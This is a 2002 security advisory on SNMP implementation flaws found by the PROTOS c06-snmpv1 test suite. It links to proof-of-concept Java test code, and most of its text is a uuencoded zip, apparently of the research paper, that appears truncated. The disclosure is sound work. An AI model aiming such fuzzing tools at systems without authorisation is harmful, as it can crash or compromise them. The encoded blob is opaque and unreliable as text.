13th Feb 2002 [SBWID-5094]
COMMAND
SNMP bad protocol implementation leads to vulnerability in all systems
SYSTEMS AFFECTED
ALL (or most ?) that has an snmp daemon installed
PROBLEM
University of OULU [http://www.ee.oulu.fi] has posted a research paper
along with proof of concept code, that pin tests all possible MIB
functions provided by snmp-trap/snmp-request for buffer
overflows/format strings vuln./heap overflows etc...
You can grab paper and java code from :
http://www.ee.oulu.fi/research/ouspg/protos/testing/c06/snmpv1/
The file below is a copy of the research paper :
begin 644 PROTOS Test-Suite c06-snmpv1.zip
M4$L#!!0````(`(Z*32QZ)I7&D58``-U[`0`@````4%)/5$]3(%1E<W0M4W5I
M=&4@8S`V+7-N;7!V,2YH=&W$/&MO&DFVWRWY/]1R1UI\',F#`=A)?!PECDGC7
MKS4DLW-\'HU7174!-FJY.53>8_?5[SJFJ?D&2F;VQ(^U.[(8^==[O\\OE?+N^&
MDU_N1^S]Y.::W7^XN+X:LD:SW?ZY-VRW+R>7]H/CUE&\'332/C4REBGG4;H]N
M&ZRQ2-/DK-U>K]>M=2]H*3UO3Q[:G=>O7[<?1L/F(EU&QT>=)C[H=+O\'[4@I
M(UIA&C;Z^WOG?VDVF>$K$;*95DN6Z>C-P=\'1:>]%\":P0+95%66LFVUH8P76P
M:*O,)/-VHE6J3#L5)I7QO!T<G;9-O$Q6G39K-A$\\8MX_?S\\:7/;/)U>3ZU\'_
M_N%N<C=F$WBE.<YD*LX8O-:TKYVW[9?@S9O19,`0B:;XG,G5FZ&*4Q&GS<DF
M$2RPO[QII.(Q;2.)_\\N\"!==&I&_6,@[5VC0[W9-NHW]^?77[=[:_M]!B]J:Q
M=7CI[\'_-9\"2,):P5&--@*1SUADZ`7P&&%M&;<;J)Q\'@A1.I`_V\'`)EB(,(N$
MA;V_5X6^$_:?0-M*X@_A[9F;,_%F3`IVVCHZ:G5?=KJMWM%1@\\5\\*=Z\\&]V.
M\'@:3NX?^>9ND\"\"]?W%W^@O_>LR#BQKPQ\"!IP,/U?)PMI6,+G@L&_P_&XRT3,
MIY$(6^P7E6DVU2`9H=E2SA<IBU7*9ED4;0!\'DR6)TBF3Z6_G[?LR^(2GBTC&
MGP#\\-W3R?)!S[`]I+RB*>&RA]C3Z].2\\/>C_:2C.!LK`[\".\"ML,T?@/XCL;W
MG6_9`WSC_/YAY\'@1:CY+FPO!0Z\'[/ST,QRC\\,U:<?;AB/[&?\'L1*&O`19ZS3
MZO1.\\=$E1\\C=HZ-N&_[7Z<*/9[U79\\<=]A-A\\S#ZXCGW0B^E07@HU8708KIA
M<W!$*7H-I=GG3\"&-AZ#$B98Q_LQX\',*OH32IEM,,\'X\'&HW:$*LB6H\':\'#+BT
MDB\'`2!<\\99RAD%FJ6.5K>.1<KD1\\2\"!Y%.WO@:7\'<V\'8$M!C7(,U1\"`04\",C
M$JYYZIU9NA!,:3F7X\"P9VD/+DXJL[S(9OEDT0=#=/LB<U-W].K@83QX&PPE*
M$$30+:LCGP))/``31==YP8-/<ZTR0$W&P(LE1]_,#A)4$L`>#,R(%^@,)X#,
M6\"Z32(#X;T6Z5OH3N^$Q&`O1>8\\Z$ZB(\'8QO;^Y?.,,!(E4L4Z#\"\\12,=B;G
MF;;GJ!D`BQVP6(7\"M!@>!/P2&M]G\"`QYR*.E,BE3RU@V/7(<8,\\-LGX-<F`K
MKJ5(-P5$X&,(FA0`%B#M.:)`?+T\"R6OX#IL#K]=\\8U!J9?)YDD22QP&B0VRZ
M!_P#F8`8@\'-R)>&4@X0;QY^V1R@1>B:\"+:XA\"2NA20/W]U0L+(]6G1=LS0TX
M?@AH<*@A@9ML^CO\"2#P_44-7640,D1$>#6($;T5<1Z4$\\<T7S&SBE#\\R9Z_$
M:_RY::R_U8)(<_3<B\'2A0A6I>8400GD`*.B5V*!P$\"\'POJ22)@687(>&D$;=
M;<\'Q9/?`-J$E<`<_`6:`%L,+\'@5X0:\"2<PWR\"9G*0&)S+F.2G.&D4A#XK#*(
M1VD)(%5#&@EO$,2#,%GD@8\'DT)!#9Z?H>M%)$W\'^BW7\"0%ESHFK0&5]Q&9\'\"
M(;L!C16/,JL,,_@$C5R1>$%\'0%4`<:VF&8!?\\A@DP\\\"`X+](;8N-U5+06QFH
M!5OP$.\"5M<N((-,H1T1\"!A8#ZQ[,`IQTR*:4(1A0:B+15.0O<ZV$E\"*(,D,$
M5\"VVG5K25FA*>FK:2Q6B\\F:/``\'-Q!!\'KL`\"-2(.:J1`M1=2P!N>MAB4C$VY
M$>#8+%^LUJ)JAEF0&NOITHH&.`KV]X`&\'JK$^UA@NM2LQ%8D%ZQ31\"I!.0!)
M+J04?JU7]6N]_H0D!\")TR90I.[@/U\\[#@=DT%_B(,4A#^A0/&?OS$7%\'Z/L?
MZV`;%0\\+X)_NK%[#48UP:Y2SISOVN`\'*D5HY@[2>DDP((=\'&2`-,=3\\].5-/
M&_U+8>2\\0E=5?WJD/Q4$OBL*+QO]L7.H#OB8O&XNUZ<[^A4<[8+,,Y_\\&K4*
M#[:1$*%_A-_0LVRA4!7\'L1-\'#;?OBEWG\"%1PBN\')`Z?(/0`($$*#%-PY(7C>
M1A3:\'ZZ?6$4Z\'1!4(@(Y\\T\'\"G5\'1W2?%H.L-Q<$&!S1Z#$1B\"W@VLC\'4_&\"Y
M@8\\L8^6/<-BQ(<2FN<*@][SB.]YF\'F5+-RY6_F\"NG33Z#^)S<Y`D)2_XQ&>>
MVC-\'<?!\\9X*GG6B>/\"^AK]RASTHIN->*@N6\'7(H9AY28?83L:\\L*JO;P1!G3
M4<GS/WEX[Z+C%)\"9IS(@V`]9))XZ8^IVD42HK;.\\K\'AZ0L\'S754JF1^7T\'2/
MT;9MY66!YST,4LJ\'+/[!<:)[XNS#HEFV#AE33[J,X)-B<EK!Q.1G3#>66>^@
MID^>#9N77\\!FG\"V77&^>-6IVP7-^!._E<QYWPDIRR#R22,ET5Q1_(O/:Z5#O
M>?\")ST7A3I[7SGK@2AT*#OA5T5MXAIRP!\\[U6@8B#OSY6,D/5;+1V!1_#@S`
MTWXPA0A^A$/)\\/SF[WS%$1?L5WGX:YDNV-_@@Z>W7HN$>,1N)H]V(8+%3([+
M,YAPJ-9QI\'@(F:_[Z0?*R\"J+33DA[2D<_HX$_$E1<!GH[O.?R[\'VP+\'>JE14
M@O`S.-$>.-%2H_+\')2C\'6-X\'GV*UCD0XWZI;GX$5Q^`Z/U8Z^7A`,4/Y42\'E
M&!SJO9;4^$;0]]DT@LSY8[7I_`R>_1B[G0L?5ZJLNM<J$.99L(!,=A\"NI*&>
M02G(?11QB+TJ2+5+?8\\GUIRI!&&H.?B/Q09=V4QHC+U/VB3E20*DRL<F1+>!
M^YG`#\\[8NTR&-!$P=B1`PPP(.]@K>[H2*\\=H6L/HXHP]N`%5,8+>%DQYK\'!<
M\'2L<;W6Z\\Y%I?Y(/..P8#0>1D*2[`8@?)OV7$_=&WR]&-!T;4YO^VR@.P/.9
M:K7(,PVB#\\!@1=UBY^/)P]WM.RP%E4XY.A+WY`S@%\"/>0S97/#*\'+))+F?JY
M4XKC\\=C.`E\'+(TSN*).P<YLJ!V@;0W!C!]<\"4G(.NH#3X_\\/*[S(BX,,<&>R
MXUB#)X&/4-IB>X^S;,\"XP9`G?NJ>3Y.V11@H\',72N!Z8@\'--.WK<.:&CZ6(Q
M#\",L2->J\\T,FM%;:&@3\'\":Z#B1QQTUT_SK7S;9/WW_,Q+TU+B^\\70&1*K)81
M1-#4;@=\\\'V;O\'L(T_!2FX:S9N\'[]5$1J;1E+TT?_/;\\I10;FX>0FEC\\H#W<*
M`\\-UG.N[X=__\\>%N,NHW\\FD_B&FYS&)?!.9<HE6+!3=L;M4.!_\\FT8+;*0H/
ML`V,DWL&&@S_[;Q^W<,!*F=+&GDC0Y<8<%&_)\\/[]M4]PU4!L`.).4KH,V@)
M\'F8EPPR*/K^?X\'8)#OWHDA8+<!8\\GVN!JP0M.S#`(;B;;`*&4QOE45Y7H\\E;
M=I!O\'XQP)4$(\\IX3;CZQMTH\'XH6%CTQ(:#R,PS^<SL8;CS#\"<T@=(G%K$47X
MK\\*9.&U/&:33?<6T&N!@[L!GLDNI:=Q\"T30?`)T/KX#WN]QUN%3_IH6\\H5HF
M&:!MVA[[MO=-I@T2\"-SBT*^=WZQ\\\"23M\"97$2Q+/#;,F>C2+G#4#NV6!X?=\"
MX8@,\\`:%`+=OW+8-4`R<0$X!4ZS$:B/]J<@E1Q(7R$GBQ</;8:=S\\O(KA*,=
M29\'.B\'@]\"_#_^$HK?4R!RFZ%RJ_0B$0EF4[`I*T_V`HG(%DW%*\\O);`(=:CP
M1?M[-6\\$`,\\OW][VW5;.5W9RSMOX/;^9L[^WM5N!>,XXJ@;R;2%Q46>AE/&!
MW1F\'\",^\\8RVE.]YHT1:C367JGYL:R,JK8]G22E964NH_8FFXND#J#B^`4C09
M[8.0IP3:8I=;`XM\".:.4*=W>^<!]++;<0\"D6V@A@4M`KSY,;I07&BD,0$-B.
MG.5V[`G&_3_$*J!%BPQD+&EI`Z#FYBEQ162#RAAMD.(0@PP@XSI;)09X.L%A
MK*1.,]*8J;!LLMS\'TT+7RZ\\L4IE6GG8-+\'J%RN>`\'1X!:!.XE<BO9>1<APBH
M.3:P:=1I(8Z0=`X@8JA7FVK6-$(C-,;3%/**?)\'\'9,$\"\\>7N-#ILP5>XV0.5
M169R$_6S3%(ZL#G@,HL4/G1;2S/YB#^BO>/&WLY`B\\\"*71G(AQ4P8HX;0)X-
M#X6=0/``-BR-Y5Z@2/-$:6!X,7H@&/0!(AYA/`\'+I&-DZC96UE;#DIP&9Z$\\
M`R[BK,$^Q(V9D\"(1G(T[JAKBEG0,B,4,-\\107VR`<@3AJ1\"M47D`2T!%6#^W
MAK\"/),IXI:*5U8\"$Z[S1@_)+0!`B1<,E9M;02?DGD#VD:8$HN#.FLTE1,)A.
M!4K9K@\':\'(;R\',`2[#E2<%8JE]M+4R4ID*AQU8F^\"*R#3`J4Z!#^_82X`DI+
MMD3TW-Z45YR:?(DFW)\"V?&F!`MJ-(8!!.F;A%BM([GRWBPE&B\'8XRT\"[A0BG
MJ*+D!VS\"!)Z4/(\'!\"HY,?I?\'+;E8X/:<5A&C5K6<N,?=J9H[/Z0S9I\"\"VA4Y
MRM_<P0+R<EG*8T*><@;Y#77;#^XO/QB(^Y@P1:@\'U*XR[.\"=2%WOZI#!S[?B
MT?].EC+./WYATT<H$LD34-CQ1_G-0]H[M`&#UKAL4\"BO(+;8`[<F(7P4`.2-
MH\"0PLFF@^6($`/N#DCA\'I,G7Z(Q+S@BS;G@\"_BVT8W%,VS:4VU#:YBP$#!^E
MG7,AIRSO:\";4J\\`=2)NLIUE\"WL1008*QEMMP@KJ\":V_65ZWLJ@G95>$\\3*!Q
MO5?^F[+)=`\'X)/8$\"+HEMPIV:/U^S0B6&;D_N_UM.5N.\';%80Y!R,C!VQ]&9
M;65A=M7]-3D,#K/?K&3Q2>_%%_<!_;ME@%(SM08/EPF[A(REA-TS=N7\"LD@,
M<,TXE/-ER2/8U;X%Y<J1=5W.6]/NIXL*UCLMX7UI4+>5BR!K89M\'GE\"4!QB\'
M7P+.*-$!&J\"TI!H&#<.EJZ!G<\\KJXBI;R+N4UU\\09@9)P1JY@6P!86,.R\\LI
M%?!CKB#/_PPAU5=P\"(G*/B\"_+%\'4IOG\";S52V5$L\'GL\\*(0C6V+%$I5D$=<$
M-+%-,L*RNGJ;[T)R\\(5A[NGT=D0JD+E$J0\'UI7HFMIX.\"+((\'FZG.%L>S/KD
M*6Z2([EH_-BRJN^W.DS+F1A>4J%%3)=?:V]$>;H`,B^*6O3D>;9>3QRV/:7=
M,@45H#U9VB0F..#J\"78HDDAMZ\'@#*@+:I4R9<H,KM?M[\\VKOR?C>DU>3W19*
M\"\\,:TA+0TI`=&/%]*^?=O;(!5@@O0&4=A7D!XY-/C5T`G*^2YZ\'B&HT+M0P8
M+0-2-.+;67\'?HN1S!RTVQ!0=K$_%S2(KI+(9=`.#24G!+EH,L(/HDH!N0BT,
MXIC)*+75)PB&.`>F.0,V%F\\-_5OTL4OM;(+CL\\9:H@.@+%PKWSK`2\\C<C<(>
MBJ\\KT/WG%Q_*/NKC]>\"V>\'\'4@NK5V&+8I^\"S+`YLO*)M:FJ5N+0<ZNJ0%L*K
MJC@PP\',;7<KB8`>#%XCYU`*GFP:U:F8IN*&$QFV/<RJ>J<I>@U_`G5PT>>=+
M:OO:+.#8/V&TJ0]``[>1AGRTW\'1YPOX>6`)@!=GHQC]#4IJI:N+DHMPAJHF:
M\'>!GM>0/`G<`F9<`11S4+A$@2BH``]H5T\"&$X9T<BTH:;0J[+Y_)#N9XK4#8
M-`XX\\B(75[=E@REGB+8-]4T5(^U5$/Z%WJX7UMIV[*J\'FB54:>5#:T*F!AO(
M%XM8R^C-CGL6M/)!]VHP=E!0FD.\\OYJ1WZOR\"N_S2$,AQ\'9T,DK`OT4<*4N,
M6KF_YQ/Y%>TVV$2>+K`]IKZP0*^*_9DZP7!Z%M-)+49W&/;W?,BJ5[3@?[CU
MLT:P+_B$PL$#5B**2+\'B0YM>`W/^:B/;7UT(Q[8`Q@EMNZ\\E]0>=J.LY7G2@
MKT1T]6*M<E6G2PN^+5*^8@+!KIE?^BCU?_-;)D_GL:NSA`OGL6\\Q4?;71%#]
MK;PJJ*&\\9E0N6:]1BNVN0WSH^C4II\"Q0])-3(A^)M\\F$3<FD\\2JPZ_;#:75,
M<5I:6??]T_>]_-LOJ]]^66R7%ZO5\\%JO,)$B)2AN]MA`NG$5&[-9OPB+I(SJ
M/$NS22%S*`BUC5[TN1-[:4BLL,^1OVFJF\\RH?Q%(O>AFI^Z:0ZG/3+C>H6&E
M99CD_+\\(KP5UD4U^3\'UY&IM\'FM(=F[&6;V;90@.7*6)30!2SE\"XL33.7$Q5Y
M%&ZW[>]A3[=5=!*_W$5L]\'_MU=J&KI$^&5Q<CW(A-)UIV*ZZ_<S.@B-K)-9)
M#P?WDZN[V_P*:^5EG\\WG.F\"<#KBW+(B)NQ\"+/S[X$?/D??_6^V7[ZZ6_R8A7
M,$O/[_2<0]E4WM+\"QS@=S4SIP35>BRR!$U!Q26J]``LF>#&WC(B[G%O%Z;)O
M6[8GK\'C2>?WZJ\'E4?D+M]<HKI=^^*INBPWMB.[P\'>)?S17G6#\"#&>1&$FG+E
M7$.0WV0L-5Y+*UGN0IG=_+`-_*:-^3Y_MLS:1>_ID]-[^A5ZOT#/!0[_D*@=
M#6=<<2^3Z.F6OE3X$J4OGYS2EU^3[#<[Z$7O?!?^W4Y-,SO-H]YWQ1].^`K^
M`[P6MD)]=/IF5UIQKD2-$WR$&8\'M;_CT^0NTO#RJT]+I?%]:7AY]31:(VK`\\
M_3/@T+5M8>]&N7?2K:+<;1Z]_*XHPPG?0CF?X.>#L=W8=D_J#\'[=/#K^GMCB
M\"5_!MKSMX\"N_50_B&;A]4O\\FHUY)A)U0\'BYYDOMI<L[P+P8E&YS?@F;-,DV=
M\'$P(-H=4S;EFH<WO:$`/X3COB\\`\'+D#9V[MVI`ZY(U1GV*YR-^9M4;RK/,$.
M5\"OO@;4PL;,J_7;PCV],]6;\\LR%FX0^4$C;A)XS.Q[71I3W*C5ROBNG[(?NH
M(HB(K(.5P#C%Z9#YQJG_59ZJ_:[/OTX`O9,:>GD?8\'S;ZJ#!@`=+J;L*\"CAK
ML6NNEY\"Y++Z!F3*F!>QL<Q-WVI%[QT]S3VL)2WF?ID@]7U53SU?Y[<)=F6<Y
M]2^2J7HA8S-C5%*;4,J\\T>]&852DA1)S-U\'5MRU0I>X3=N)P@4>DV*#`81W^
M&0_J0=CJNS3<,04DGPX7+4%N,W]44X\"WD\'%:NEC.B\\V@_;VB-;!UA]NUAB*P
M&:P.T.\"V\"KIJRDF91-Z\\R\\L+*.41`\'8O!&74TXW\'U_XI`>\"2BF,140#PI8>%
MY-JF4(7YO9YD`?\\MY=^WRE_2QP1T)XOITC_>/H>SL9:5,?8;0)OF5$G%V7(*
M_*96M6](>CDZ1Y#_^938M;+S`0\\2+20Y&#=&8#BAFMN_?E!I`=&A#D=_#H4\\
M=XC[6RX%;)RZY0J%X)`#J;.8\'MB44_U#]V@083D;U9\\2=2YY,/F\'P#S[L9XJ
M77OE`LIX\'F^_8S\\=\\A@7T6IPAMB!J\'\\36_&?=SS$90TV,$8%DM,^7`W891/3
M\\MJ+ER*JTW8IYW+KY9&6`8\".:]\\=/:8:U\"(?]-<^?GNR!>@MEM!XP:3ZQ>QW
MF9J,C24J61W,^_LM,.]EBG^[H/;%JXN;^I/A=?U)7!:GA_<W2#V272*U\'U]S
MC*\"Q?-QZ#K7!-K1K!?50[D/MHRR@==_*ZS<0%0!J$T*JV`)R(P.MC)IMO91%
M*5Y.7M2>WXXF3;N160,$-+V#^%/_NOHD^=8SO8LYMY`<;*G)^&98?[*0JSK$
MND`]R\'&VE$MPK?6O9S&S=&_`JRWK8IB`OYK*=`L:/@]YG5$_2]`TC!>UY_\\4
M6CUNP?CG)N)U]?Z_S6/.#O*]2_I[(NB9RKVMFWR?)\'<SY(.FF8S2IHRW/9[U
M/\\6>RE*%@B9[NQO_U@L6#7@$3#V-::2\"3^:,3;4,Y[@]L\\BF\\%^M:\'/KD!G`
M(UC@!TL12C?=P;I!V\\\\_W(_QPY^O![?_:>_;F]M&LGO_=Y6_`TI;&TL)21\'@
M6SOQO;*DF=7&EA1+]DPR-4E!)$1B30)<@)2LJ50^TOV,][RZT0V\")$#)\'N\\D
MNS4S(@F<?IT^KS[].RJJ/X_#2/FG!4W+4_KLZ,CA=#4<P0Q(?3Z]?IO]BOA*
ML,R!SM1+\\8P\\H71,U8+.=E*3=^3<A4GP`,J1TH$68?T^3$#G:7,UK67=P1#4
MKR:Y#`B(@)TP@6T8ST,:;O;;$$@EOO55.,.K->F0T%U6)P!W(AUOHR4:1WCP
M?41G^NCV`B%,/%C.L\\=R_3&/.;*!Z*=B$#Z2\\L\"<7S\">4%\\UA9;C=!A.I_!O
M>%.6%PUN\'`1247D&3`,V`IJR=$\"Y7,3BU1MK\")U;8M27SM8(Y@J7\"@DU&N:)
MBAF\\8HO/CEU=O28DG,V\'<Z8\'8*;@2K(2!UDEUL;I%3#0!S[\"2>-E`ETK\\A`R
MM*J\'X\'9#>\"Y5SZ@87:_0\"\\\"N4QQK`Z4(C\\NC3XI0?RVA\'^,$#-GU9GD:3F%/
M-\"9!`_,L_SL!>DC\\`5]#RQR(#PJ)?P6W*\'^>EDMV7CEZM8Y=++0G.6YC@Q5L
M>3[)I4#P*FP5G[@G0=TR4BE)#^RU:?B)\\V;\\%!ME,SE6F&^4E::94*7NZ\\O)
M1I=$%!?Q4Q2;V$6PSQX-\"4_#S,QTO8V3E7<P0PJ3JW#_<1;85*Y2`JE)\".J,
MSN*SMPQ:#P&?.Y\"O0%)%)EWU8IU_-K#]LX&!P;*\"OF(?$83Z0<F=X?U=0PL<
M#^*!31_S/\\DY0*K.,S.U1@G8=*PO[UH+/N3CI;B0CS)X+4R7.O]P<]!P+N\\6
MB*J7)46HG`>CH6P`R$!XL&,R%[M-+U_0P1ZGJ(&>H=$QP\".R$.<>\\\"#Y;-EP
M6Z,BKZTA:MN0C[H?=2:T4Y!_#1%C.:VE<$J&^X^-A$8K^89_)L16LE0*?KRB
MU,,*<7PQ?MZKY*[LEP^G5\\X^M>-VW0/CARP)[M#.@3O,\\M\\<S*#C+\'GM&JYM
M&D83I4&^;2/BII]`26*UL)8JQUF+1^.9HR%4$-U;[=+N8X8;\'V\"!P7&P(>)V
MH])OK-.M_?1`B8,,I(U7\"U.,T6WE<U_L&+\'[^14GI2Y3!K=;X#K?!<G*^T:J
M(B8J\'@#+2^(4Y4H$F&46IK,TBWEP.B\"B]\'\'N)\");PH[3,0P=BLX!-R(!S6V2
M:$R[\":.,P6<6U!CP;?8\'-<[B[W(,D0+7@SXF%@Z34*5Q!#YGW*FA)9PU*P.<
M@5\'C8WH<38>142=I:<!*QF0UG#_\'#X\'(\"6L6,6Z9I8W0=\'+2!;R\"HKUF\'Z7B
MJRNRTTYB1319,H\\QCS4383@22U*B[!\'MNB*\"U\'ER6ZL!MVGK`?C,:%>%*%>@
M\"-H9P\\F*9H\\@[Q3<2**,]$!=%;K)OH%)4D?I*>4%S/R_PL\"3&+,#]]_)+L\"E
M/,;M*_FLF#]@W0-\"7HL\"\"JWOXT0J>4&/&U]X!W)1Z?S=#\\BO_[SW,UF#?)2_
M,II?$,\\X38;E<)#1.-*KTAB\'=WMTTT4!K/*(Z^\"63X/7W].\'(V=3ZYGO:\"?+
M2M(0>)F4(\\DFRRR.XBE&\\8;.#Q_.)7MHG3M!L*;Z@@&FD,)\\.U:0DX1\"-LD!
ML[7R4Y;Z!LB]:UQ6D]Q]#D].TS@SKRPQQ@)T&H_\'*K=_%*9S\'YQ0WH@ZUY?>
MPCCZ0N_*1FY6)+L8YT2B@>SR32E;(V%Y`L9HG1]L.#].^!9=7>4E$Q=*G)+W
M)&L*F@\'N<FJB7.H$9)YWM2H8FL;\\HQ&%H&=^BI$VHL0,;WZ#Y!XHL0*-OF$0
M8@:_T.6$V\"0A92/7SLS^WW!ZB,G]XA.-<,@J`XEF\'G,=U*O&3<.7+\\[O%*:L
M_#B*`S9BI%U8$4PYFCXJRTMZAZG+E+RTR(;T\\@73D&Z85Q(DC*`,ND0T*(?6
MC;,>P_\"CK\"AI5\":W8`+5G14YWL!^DH;PR:3,OZ[#)2NWRXYMLB)I4Q6&4`F0
MJ(DX8YFX0EI\'[:W!GF\\?\'6$YNLX`4YNM6*[SRW1)RF^)\\MK7CRIZ<K!,`N^G
MFG-Z=5YSKM]]@#_/WAU?\'-^<U=#A/F!P8J\"*YPKZ!-=H]S+2Z*#XRR<P_>X\"
M2AXF[<=Y79%*;4$ES-T(992<-:FFF-/)UT\\R7J![=J=R[04ZN<T$L_7Y,>LV
MCD;`_8;^7(\'\"XCDC[HE4X3JKKK-&Q\\VJQ:2:NRL@3`F:*L]>F4-X[&GX+D;J
MO\'&\\*\\=`<Q]92\'\"8_:C@BI\"*81E2K>#ZH[J>,M*`5.R\\\\N@S,2A3P\'\\_@\"J8
M2$@-A!7ZPO\"*,0,\\>D.(*MG\"ZD6NRYC\'9#0>I*A#;\\CN,BEJ/:S+)4#SFMA,
M^HHXZV(NL8NUB:7D)I3YC=HYF\'</#[/QI&4=[1\\?%1U&],@2&HT2VL>41Y:,
M@X46[HDV5:EK7X]_R?W+X7?*5>G,-W?=G%\'FYB$_K:P_\\<VO5FSSHG0X8F4*
MNX\"5$+)N8XM<\"VHY`QQR,.5ZX;,,I[\"OOA\\HMW5$O*Q<7_6\'?UN&\"4E$<*4I
M(9@<&]3R&+#Q1[1!$5N?=*_.E[)N>ZS<]-\"=6\\3QU+A/K8XOU>&F\"-<AF**@
MID?`\'P&?O[ZYP#0*OO&$&`C+M\'[A+Q.\\93V3NT_<#CY(^T%+$G$C^!HB)6C6
M[Y*`#\'.^ZF\'%E*C+-4H1E.QSQ;Y!1,RG)A*\\)[T`V2`M,J8D)EU#W4\\5F&\'\"
M0(9TFY<WOOK)YS(4).3Y;@4.\"P444;`-B54RRO6PG^-2!61PD^)14%-&V+O!
MX(H,4:\"<$%XF!)XR!%[1A3F?>IEG#.6!<G\"![[-CB$TE]8,+I^\\OXDF*-8\'$
M#YP4`4LA:V.EC_*/N8F7I%Z,?=-4JH.1$=LPT$T#^J`(`[=@;^?J,L#G4[V5
MUL\'H&ID2$2^=>5-5M)XL\'=U8FH=@6!+3HBS@O2IP];\"F\\2=D,0R?I2\'EK@<3
M_QYOS\\7:,J1=9/N/>)\".]N74B,W13L\";3`Z7,%`&4$\'W@\"F.HZ(?E,X!SS$8
MDR`\'^ROFC%SN<($PX)T58[1/3!5^.4Z4USGQ?\\7H[YA9]A9\\%[S/RD\\1EH(T
MAPX0Y7\"F=\'_<=Z+E(IT$4TKH*.QOR%H>&IHOQ5/(2K]0+C1=G34NY\\$8Y@\'6
M\\GB8F&YY)G#5F9\"9#D\\,*8(JA6U^IBXCOS<VZOZ;L_<\'AF#G>[E9P\"<O26!\"
M\\8AD>L^J%0]TZ!Y2D1C&@%3#N>#[IQ@0E8E\"1GJD,R5P7<%`F@;1>#&A*_R+
M8,RGBHN$+O!1@%682;GZB7*[Z\'8U$&.O!09B`;3D+E7\'8Y@\"DK#*<R!5+@Y4
MRHS.38ESYM,5;KP\\@\\V`ZT*FD,%;F6,CH`(P#=,PBS<KNT,\"6XH>=SO![:\"\"
M1LID(2@*ZXZJZ4(J\\NKN*AJ?VK%%>YVYB,Z`4XG,83^6C!-!#\'&(?<`M$7\"I
M!7N67K[@>1+G=(HG9R2L@%%UK*I&J\"$F8S,CL\\PG59.(^Y>M$=U489,V7FF6
M&BV,+N6*-<#G`A&7P^*V@TS9T1Z\'\"G%\">>#9)1+%L$52)Q-^+U\\HE6L5ISC*
MY]S[40Q3]U@WZ+,4/SW_J*HWT668\"E%ZHV=UU3.C`6M6E)BADWAC9G9*T]\\I
MK_ZLWK22>Z-[?QJ.B/UYKSO[;P]X\\RN8D#!)%\\9E4,S61+1:4S]PTC>34L`*
MM\'3FLMT3&\'4-F5$N];&G0J17B(72,^D5T)*_3/\"&H@`]C-#,#CXK8ASDEI,I
ML;P_3H^<#Q%E%OJ@&(S3D9KNS(D8A4K@UK!`T+VZ\'K\'2?KM,^S\".5ZES(W.M
M<N98[!92-5/.\\1AT^J@G*9L/H>Q<?\'C[EH$5\"FEUJ]!Z<WGY]NSX8@.Y7A5R
MYQ<W9S_`?]>3ZU<A=WER<W9S??/^_.*\'#20\'E09\\OI6@VZQ\"\\/KL7S^<79R<
MU2^_WT#2K4;R9C,UK](DOOG+V<E-_?ST[.+F_/OS3:OCMJH0?G]VO($/W785
M6F<7\']YA<;^STPT4S5UR`_[`U!G[\"8;.)&(<S$)][W*[*\'\'-C4*/JRV,:\'W@
MWBVP\"<I%F,7W`1\\Y4W$XPD4I)-DKD+\\@7!*?#1T0@LH/,0)2*\"13PWHK(\'UN
MB_9+D&AWH%_%E9MAXB\">I_T:)+%8*F+4.6P\'<\"Z.MN\\*&_`*&M\"VX1&%4Q\'[
MA\\ZZ;L.Q_HG-EOU_.JP?N!Q8&D?A8CD*,H%//WK_X76Z#-1T\"_-9W`F3`=]2
MSO$M9@U!VT,])%8VSGX(=O>^]Q\\M[^\"?ZFX-_^RVZ4^*M!:2-WDR.W\'>;_$9
M%9[G[K</>/\')4Y44O^Q\\T2?X`4+@$8@1-49K2LR^M:AKG:[Z\"SO96M?\'-_9\"
MOR5?1PVX^1E^K#OPG\\X![9PS!-:12WH4:&36,J]AV>0O;?(_\\)DNG1/1<BL&
M(2>(K_$\"7]X91[:TV.2NF,R$_X,\'L>PIF.NP1J_\\5\\7-FUSV-LZ!-VG_`Q4U
M^D5W\"V)AZPJU@\'7X*:$*Z.;Y/CG..S_P?^^G?M0\\P$@8$U7)F6JWT):#?M:<
MO3^F>S7G51/^#!8$<%#8]=;Z\'1@MIU,!W_3Q$!B7JGF0[7=V\"<($7,QQ&$4*
M\\6FEB?;N3>AL^UDX2HMR)KZWU_Y[6R2@^$\'!RW,!__YC],?/]%=C,!B,\\*]_
M;/SC:$]A6X:)81N\"01X57GW\\WE[P$[62VMK*2R:U\\C3DPH7/+#=<ZSW^\\H]4
MQ;9@0DV5<<EYC9E\'NR;>\\1$E\'+\'XY?DI&+7X;WNO!YP=/V5!2$P7(98=6)H\'
MSFWB1YB:6]RA[DJ\'+!>;H%`>TP;\\0TY`37VZ(`R\"\\*X1WEVP.:FG`;\\[QZJK
MPBAQC>,IK\'ZH\'NNZWICZ2FN1_6`V7SP>.!_]Y`WB1B\',#UURH8F@@`4P6^Y7
M1Z7&YKJ$`U)Y,J]8-1DCHI_95<B$;F%/^T4]S?>!S8`)Y@U8?.7L(T/#__<.
MJ`(CRM.&[NW6894?CB)9,*Q&P;C>V5ORWT%]:U<-]_L!FPU:\'!*J$7:>_\"_2
MQ(;AHNP6:J<HY^B[0_\"%V4<\'Q1)$A0B0;XZ<-R$:)7BORHBD94G\'9T<VRE[!
M(]\\?.99\\*7KF_(AN36N-7O3,NR/G7<CYRNGC[#:>%CUT>>1H>\\7X>16Y:$_\'
MXK3G!G)C?\\I7R,X.:I9`R`(WVC\"4`-CG(!F&&AY!88+R\"0KE-5*,R@+WI\"`^
MD)*H5I9?)4FSA2`@=L!]STSNLP;`G,;#0.RY+!+$NP`;R$8#`U#C$<_<&K89
MD2L[0`+/6:R+_1EQS37C,P/M.41O^)P%VE=*KMDIKER@%A>)\\F14O/\\.JWUK
M5\"*[Q.F<JZ\\@.*%/1Z^%/RM[*.50ID(`]&=@FR[L7\"Z>,B.WZ^4+2N]E@`75
M)?J=0BV8DRHP=N$L1)RH3RA^T)BBUS,@2<JX)N0L?*_AG`;0B:E<JL/.J\\X2
MJ)B^PV=#<)A1ODYNICMF#;DLG.<VNR\"ELA$=.:6A##G14E2GR1O6-BT,XXUD
M=)6R:NV7N=Z/S\'*(T#Y_J_LXNEU\"<B<*?2C[ZGN*GI%^=?Y@9MEFBU\\^>(>N
M&[U4\'P<+6(Z_&7J!%7GVV;IS[FRC%6%T:S-!MS3!=&OGO\"VT9\'AUR3:H*Z_.
M=G9K#GJD]&_3[+;^[K4WD)=P?CBJV$\"O5[H)AC4E[ZM:([V.6ZT1XC\'51AUM
M3MMCI!:D-7/Z7<^T?UO2B?(-L>O]6-2:.1ZW[9GF64NP78K;T48]2IZZ]CS7
M^JANKV^UY;J5B=?O9@NQ0VQWJ.;D\'!2W/S!=L+Y7O2T*]]3)6[.]1W`D;`?/
